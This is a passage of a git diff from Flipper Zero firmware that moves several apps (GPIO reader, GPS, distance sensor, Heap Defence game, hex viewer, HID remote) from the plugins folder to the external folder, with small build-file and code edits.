applications/plugins/gpio_reader_b/scenes/gpio_scene_config.h rename to applications/external/gpio_reader_b/scenes/gpio_scene_config.h diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_reader.c b/applications/external/gpio_reader_b/scenes/gpio_scene_reader.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_reader.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_reader.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_start.c b/applications/external/gpio_reader_b/scenes/gpio_scene_start.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_start.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_start.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_test.c b/applications/external/gpio_reader_b/scenes/gpio_scene_test.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_test.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_test.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart.c b/applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c b/applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c b/applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c diff --git a/applications/plugins/gpio_reader_b/usb_uart_bridge.c b/applications/external/gpio_reader_b/usb_uart_bridge.c similarity index 100% rename from applications/plugins/gpio_reader_b/usb_uart_bridge.c rename to applications/external/gpio_reader_b/usb_uart_bridge.c diff --git a/applications/plugins/gpio_reader_b/usb_uart_bridge.h b/applications/external/gpio_reader_b/usb_uart_bridge.h similarity index 100% rename from applications/plugins/gpio_reader_b/usb_uart_bridge.h rename to applications/external/gpio_reader_b/usb_uart_bridge.h diff --git a/applications/plugins/gpio_reader_b/views/gpio_reader.c b/applications/external/gpio_reader_b/views/gpio_reader.c similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_reader.c rename to applications/external/gpio_reader_b/views/gpio_reader.c diff --git a/applications/plugins/gpio_reader_b/views/gpio_reader.h b/applications/external/gpio_reader_b/views/gpio_reader.h similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_reader.h rename to applications/external/gpio_reader_b/views/gpio_reader.h diff --git a/applications/plugins/gpio_reader_b/views/gpio_test.c b/applications/external/gpio_reader_b/views/gpio_test.c similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_test.c rename to applications/external/gpio_reader_b/views/gpio_test.c diff --git a/applications/plugins/gpio_reader_b/views/gpio_test.h b/applications/external/gpio_reader_b/views/gpio_test.h similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_test.h rename to applications/external/gpio_reader_b/views/gpio_test.h diff --git a/applications/plugins/gpio_reader_b/views/gpio_usb_uart.c b/applications/external/gpio_reader_b/views/gpio_usb_uart.c similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_usb_uart.c rename to applications/external/gpio_reader_b/views/gpio_usb_uart.c diff --git a/applications/plugins/gpio_reader_b/views/gpio_usb_uart.h b/applications/external/gpio_reader_b/views/gpio_usb_uart.h similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_usb_uart.h rename to applications/external/gpio_reader_b/views/gpio_usb_uart.h diff --git a/applications/plugins/gps_nmea_uart/LICENSE b/applications/external/gps_nmea_uart/LICENSE similarity index 100% rename from applications/plugins/gps_nmea_uart/LICENSE rename to applications/external/gps_nmea_uart/LICENSE diff --git a/applications/plugins/gps_nmea_uart/application.fam b/applications/external/gps_nmea_uart/application.fam similarity index 89% rename from applications/plugins/gps_nmea_uart/application.fam rename to applications/external/gps_nmea_uart/application.fam index a5fdb4360..e02785744 100644 --- a/applications/plugins/gps_nmea_uart/application.fam +++ b/applications/external/gps_nmea_uart/application.fam @@ -3,7 +3,6 @@ App( name="[NMEA] GPS", apptype=FlipperAppType.EXTERNAL, entry_point="gps_app", - cdefines=["APP_GPS"], requires=["gui"], stack_size=1 * 1024, order=35, diff --git a/applications/plugins/gps_nmea_uart/gps.c b/applications/external/gps_nmea_uart/gps.c similarity index 100% rename from applications/plugins/gps_nmea_uart/gps.c rename to applications/external/gps_nmea_uart/gps.c diff --git a/applications/plugins/gps_nmea_uart/gps_10px.png b/applications/external/gps_nmea_uart/gps_10px.png similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_10px.png rename to applications/external/gps_nmea_uart/gps_10px.png diff --git a/applications/plugins/gps_nmea_uart/gps_uart.c b/applications/external/gps_nmea_uart/gps_uart.c similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_uart.c rename to applications/external/gps_nmea_uart/gps_uart.c diff --git a/applications/plugins/gps_nmea_uart/gps_uart.h b/applications/external/gps_nmea_uart/gps_uart.h similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_uart.h rename to applications/external/gps_nmea_uart/gps_uart.h diff --git a/applications/plugins/gps_nmea_uart/minmea.c b/applications/external/gps_nmea_uart/minmea.c similarity index 100% rename from applications/plugins/gps_nmea_uart/minmea.c rename to applications/external/gps_nmea_uart/minmea.c diff --git a/applications/plugins/gps_nmea_uart/minmea.h b/applications/external/gps_nmea_uart/minmea.h similarity index 100% rename from applications/plugins/gps_nmea_uart/minmea.h rename to applications/external/gps_nmea_uart/minmea.h diff --git a/applications/plugins/hc_sr04/application.fam b/applications/external/hc_sr04/application.fam similarity index 89% rename from applications/plugins/hc_sr04/application.fam rename to applications/external/hc_sr04/application.fam index 85b6da2df..351f4e03d 100644 --- a/applications/plugins/hc_sr04/application.fam +++ b/applications/external/hc_sr04/application.fam @@ -3,7 +3,6 @@ App( name="[HC-SR] Dist. Sensor", apptype=FlipperAppType.EXTERNAL, entry_point="hc_sr04_app", - cdefines=["APP_HC_SR04"], requires=[ "gui", ], diff --git a/applications/plugins/hc_sr04/dist_sensor10px.png b/applications/external/hc_sr04/dist_sensor10px.png similarity index 100% rename from applications/plugins/hc_sr04/dist_sensor10px.png rename to applications/external/hc_sr04/dist_sensor10px.png diff --git a/applications/plugins/hc_sr04/hc_sr04.c b/applications/external/hc_sr04/hc_sr04.c similarity index 100% rename from applications/plugins/hc_sr04/hc_sr04.c rename to applications/external/hc_sr04/hc_sr04.c diff --git a/applications/plugins/heap_defence_game/application.fam b/applications/external/heap_defence_game/application.fam similarity index 100% rename from applications/plugins/heap_defence_game/application.fam rename to applications/external/heap_defence_game/application.fam diff --git a/applications/plugins/heap_defence_game/assets_images/Background_128x64.png b/applications/external/heap_defence_game/assets_images/Background_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Background_128x64.png rename to applications/external/heap_defence_game/assets_images/Background_128x64.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box1_10x10.png b/applications/external/heap_defence_game/assets_images/Box1_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box1_10x10.png rename to applications/external/heap_defence_game/assets_images/Box1_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box2_10x10.png b/applications/external/heap_defence_game/assets_images/Box2_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box2_10x10.png rename to applications/external/heap_defence_game/assets_images/Box2_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box3_10x10.png b/applications/external/heap_defence_game/assets_images/Box3_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box3_10x10.png rename to applications/external/heap_defence_game/assets_images/Box3_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box4_10x10.png b/applications/external/heap_defence_game/assets_images/Box4_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box4_10x10.png rename to applications/external/heap_defence_game/assets_images/Box4_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box5_10x10.png b/applications/external/heap_defence_game/assets_images/Box5_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box5_10x10.png rename to applications/external/heap_defence_game/assets_images/Box5_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box6p_10x10.png b/applications/external/heap_defence_game/assets_images/Box6p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box6p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box6p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box7p_10x10.png b/applications/external/heap_defence_game/assets_images/Box7p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box7p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box7p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box8p_10x10.png b/applications/external/heap_defence_game/assets_images/Box8p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box8p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box8p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Game_over_128x64.png b/applications/external/heap_defence_game/assets_images/Game_over_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Game_over_128x64.png rename to applications/external/heap_defence_game/assets_images/Game_over_128x64.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_rate b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/Person4_1_10x20.png b/applications/external/heap_defence_game/assets_images/Person4_1_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person4_1_10x20.png rename to applications/external/heap_defence_game/assets_images/Person4_1_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person4_2_10x20.png b/applications/external/heap_defence_game/assets_images/Person4_2_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person4_2_10x20.png rename to applications/external/heap_defence_game/assets_images/Person4_2_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person5_1_10x20.png b/applications/external/heap_defence_game/assets_images/Person5_1_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person5_1_10x20.png rename to applications/external/heap_defence_game/assets_images/Person5_1_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person5_2_10x20.png b/applications/external/heap_defence_game/assets_images/Person5_2_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person5_2_10x20.png rename to applications/external/heap_defence_game/assets_images/Person5_2_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Start_128x64.png b/applications/external/heap_defence_game/assets_images/Start_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Start_128x64.png rename to applications/external/heap_defence_game/assets_images/Start_128x64.png diff --git a/applications/plugins/heap_defence_game/box.png b/applications/external/heap_defence_game/box.png similarity index 100% rename from applications/plugins/heap_defence_game/box.png rename to applications/external/heap_defence_game/box.png diff --git a/applications/plugins/heap_defence_game/heap_defence.c b/applications/external/heap_defence_game/heap_defence.c similarity index 99% rename from applications/plugins/heap_defence_game/heap_defence.c rename to applications/external/heap_defence_game/heap_defence.c index f7d6e4ef7..ae9ae76cc 100644 --- a/applications/plugins/heap_defence_game/heap_defence.c +++ b/applications/external/heap_defence_game/heap_defence.c @@ -495,7 +495,9 @@ static void heap_defense_input_callback(InputEvent* input_event, FuriMessageQueu static void heap_defense_timer_callback(FuriMessageQueue* event_queue) { furi_assert(event_queue); - GameEvent event = {.type = EventGameTick, .input = {0}}; + GameEvent event; + event.type = EventGameTick; + event.input = (InputEvent){0}; furi_message_queue_put(event_queue, &event, 0); } diff --git a/applications/plugins/heap_defence_game/hede_assets.c b/applications/external/heap_defence_game/hede_assets.c similarity index 100% rename from applications/plugins/heap_defence_game/hede_assets.c rename to applications/external/heap_defence_game/hede_assets.c diff --git a/applications/plugins/heap_defence_game/hede_assets.h b/applications/external/heap_defence_game/hede_assets.h similarity index 100% rename from applications/plugins/heap_defence_game/hede_assets.h rename to applications/external/heap_defence_game/hede_assets.h diff --git a/applications/plugins/hex_viewer/LICENSE b/applications/external/hex_viewer/LICENSE similarity index 100% rename from applications/plugins/hex_viewer/LICENSE rename to applications/external/hex_viewer/LICENSE diff --git a/applications/plugins/hex_viewer/application.fam b/applications/external/hex_viewer/application.fam similarity index 90% rename from applications/plugins/hex_viewer/application.fam rename to applications/external/hex_viewer/application.fam index 30c31ba76..96bf1a387 100644 --- a/applications/plugins/hex_viewer/application.fam +++ b/applications/external/hex_viewer/application.fam @@ -3,7 +3,6 @@ App( name="Hex Viewer", apptype=FlipperAppType.EXTERNAL, entry_point="hex_viewer_app", - cdefines=["APP_HEX_VIEWER"], requires=[ "gui", "dialogs", diff --git a/applications/plugins/hex_viewer/hex_viewer.c b/applications/external/hex_viewer/hex_viewer.c similarity index 100% rename from applications/plugins/hex_viewer/hex_viewer.c rename to applications/external/hex_viewer/hex_viewer.c diff --git a/applications/plugins/hex_viewer/icons/hex_10px.png b/applications/external/hex_viewer/icons/hex_10px.png similarity index 100% rename from applications/plugins/hex_viewer/icons/hex_10px.png rename to applications/external/hex_viewer/icons/hex_10px.png diff --git a/applications/plugins/hid_app/application.fam b/applications/external/hid_app/application.fam similarity index 86% rename from applications/plugins/hid_app/application.fam rename to applications/external/hid_app/application.fam index b8c13e353..f0df85800 100644 --- a/applications/plugins/hid_app/application.fam +++ b/applications/external/hid_app/application.fam @@ -1,7 +1,7 @@ App( appid="hid_usb", name="USB Remote", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="hid_usb_app", stack_size=1 * 1024, fap_category="Tools", @@ -14,7 +14,7 @@ App( App( appid="hid_ble", name="Bluetooth Remote", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="hid_ble_app", stack_size=1 * 1024, fap_category="Tools", diff --git a/applications/plugins/hid_app/assets/Arr_dwn_7x9.png b/applications/external/hid_app/assets/Arr_dwn_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Arr_dwn_7x9.png rename to applications/external/hid_app/assets/Arr_dwn_7x9.png diff --git a/applications/plugins/hid_app/assets/Arr_up_7x9.png b/applications/external/hid_app/assets/Arr_up_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Arr_up_7x9.png rename to applications/external/hid_app/assets/Arr_up_7x9.png diff --git a/applications/plugins/hid_app/assets/Ble_connected_15x15.png b/applications/external/hid_app/assets/Ble_connected_15x15.png similarity index 100% rename from applications/plugins/hid_app/assets/Ble_connected_15x15.png rename to applications/external/hid_app/assets/Ble_connected_15x15.png diff --git a/applications/plugins/hid_app/assets/Ble_disconnected_15x15.png b/applications/external/hid_app/assets/Ble_disconnected_15x15.png similarity index 100% rename from applications/plugins/hid_app/assets/Ble_disconnected_15x15.png rename to applications/external/hid_app/assets/Ble_disconnected_15x15.png diff --git a/applications/plugins/hid_app/assets/ButtonDown_7x4.png b/applications/external/hid_app/assets/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonDown_7x4.png rename to applications/external/hid_app/assets/ButtonDown_7x4.png diff --git a/applications/plugins/hid_app/assets/ButtonF10_5x8.png b/applications/external/hid_app/assets/ButtonF10_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF10_5x8.png rename to applications/external/hid_app/assets/ButtonF10_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF11_5x8.png b/applications/external/hid_app/assets/ButtonF11_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF11_5x8.png rename to applications/external/hid_app/assets/ButtonF11_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF12_5x8.png b/applications/external/hid_app/assets/ButtonF12_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF12_5x8.png rename to applications/external/hid_app/assets/ButtonF12_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF1_5x8.png b/applications/external/hid_app/assets/ButtonF1_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF1_5x8.png rename to applications/external/hid_app/assets/ButtonF1_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF2_5x8.png b/applications/external/hid_app/assets/ButtonF2_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF2_5x8.png rename to applications/external/hid_app/assets/ButtonF2_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF3_5x8.png b/applications/external/hid_app/assets/ButtonF3_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF3_5x8.png rename to applications/external/hid_app/assets/ButtonF3_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF4_5x8.png b/applications/external/hid_app/assets/ButtonF4_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF4_5x8.png rename to applications/external/hid_app/assets/ButtonF4_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF5_5x8.png b/applications/external/hid_app/assets/ButtonF5_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF5_5x8.png rename to applications/external/hid_app/assets/ButtonF5_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF6_5x8.png b/applications/external/hid_app/assets/ButtonF6_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF6_5x8.png rename to applications/external/hid_app/assets/ButtonF6_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF7_5x8.png b/applications/external/hid_app/assets/ButtonF7_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF7_5x8.png rename to applications/external/hid_app/assets/ButtonF7_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF8_5x8.png b/applications/external/hid_app/assets/ButtonF8_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF8_5x8.png rename to applications/external/hid_app/assets/ButtonF8_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF9_5x8.png b/applications/external/hid_app/assets/ButtonF9_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF9_5x8.png rename to applications/external/hid_app/assets/ButtonF9_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonLeft_4x7.png b/applications/external/hid_app/assets/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonLeft_4x7.png rename to applications/external/hid_app/assets/ButtonLeft_4x7.png diff --git a/applications/plugins/hid_app/assets/ButtonRight_4x7.png b/applications/external/hid_app/assets/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonRight_4x7.png rename to applications/external/hid_app/assets/ButtonRight_4x7.png diff --git a/applications/plugins/hid_app/assets/ButtonUp_7x4.png b/applications/external/hid_app/assets/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonUp_7x4.png rename to applications/external/hid_app/assets/ButtonUp_7x4.png diff --git a/applications/plugins/hid_app/assets/Button_18x18.png b/applications/external/hid_app/assets/Button_18x18.png similarity index 100% rename from applications/plugins/hid_app/assets/Button_18x18.png rename to applications/external/hid_app/assets/Button_18x18.png diff --git a/applications/plugins/hid_app/assets/Circles_47x47.png b/applications/external/hid_app/assets/Circles_47x47.png similarity index 100% rename from applications/plugins/hid_app/assets/Circles_47x47.png rename to applications/external/hid_app/assets/Circles_47x47.png diff --git a/applications/plugins/hid_app/assets/Left_mouse_icon_9x9.png b/applications/external/hid_app/assets/Left_mouse_icon_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Left_mouse_icon_9x9.png rename to applications/external/hid_app/assets/Left_mouse_icon_9x9.png diff --git a/applications/plugins/hid_app/assets/Like_def_11x9.png b/applications/external/hid_app/assets/Like_def_11x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Like_def_11x9.png rename to applications/external/hid_app/assets/Like_def_11x9.png diff --git a/applications/plugins/hid_app/assets/Like_pressed_17x17.png b/applications/external/hid_app/assets/Like_pressed_17x17.png similarity index 100% rename from 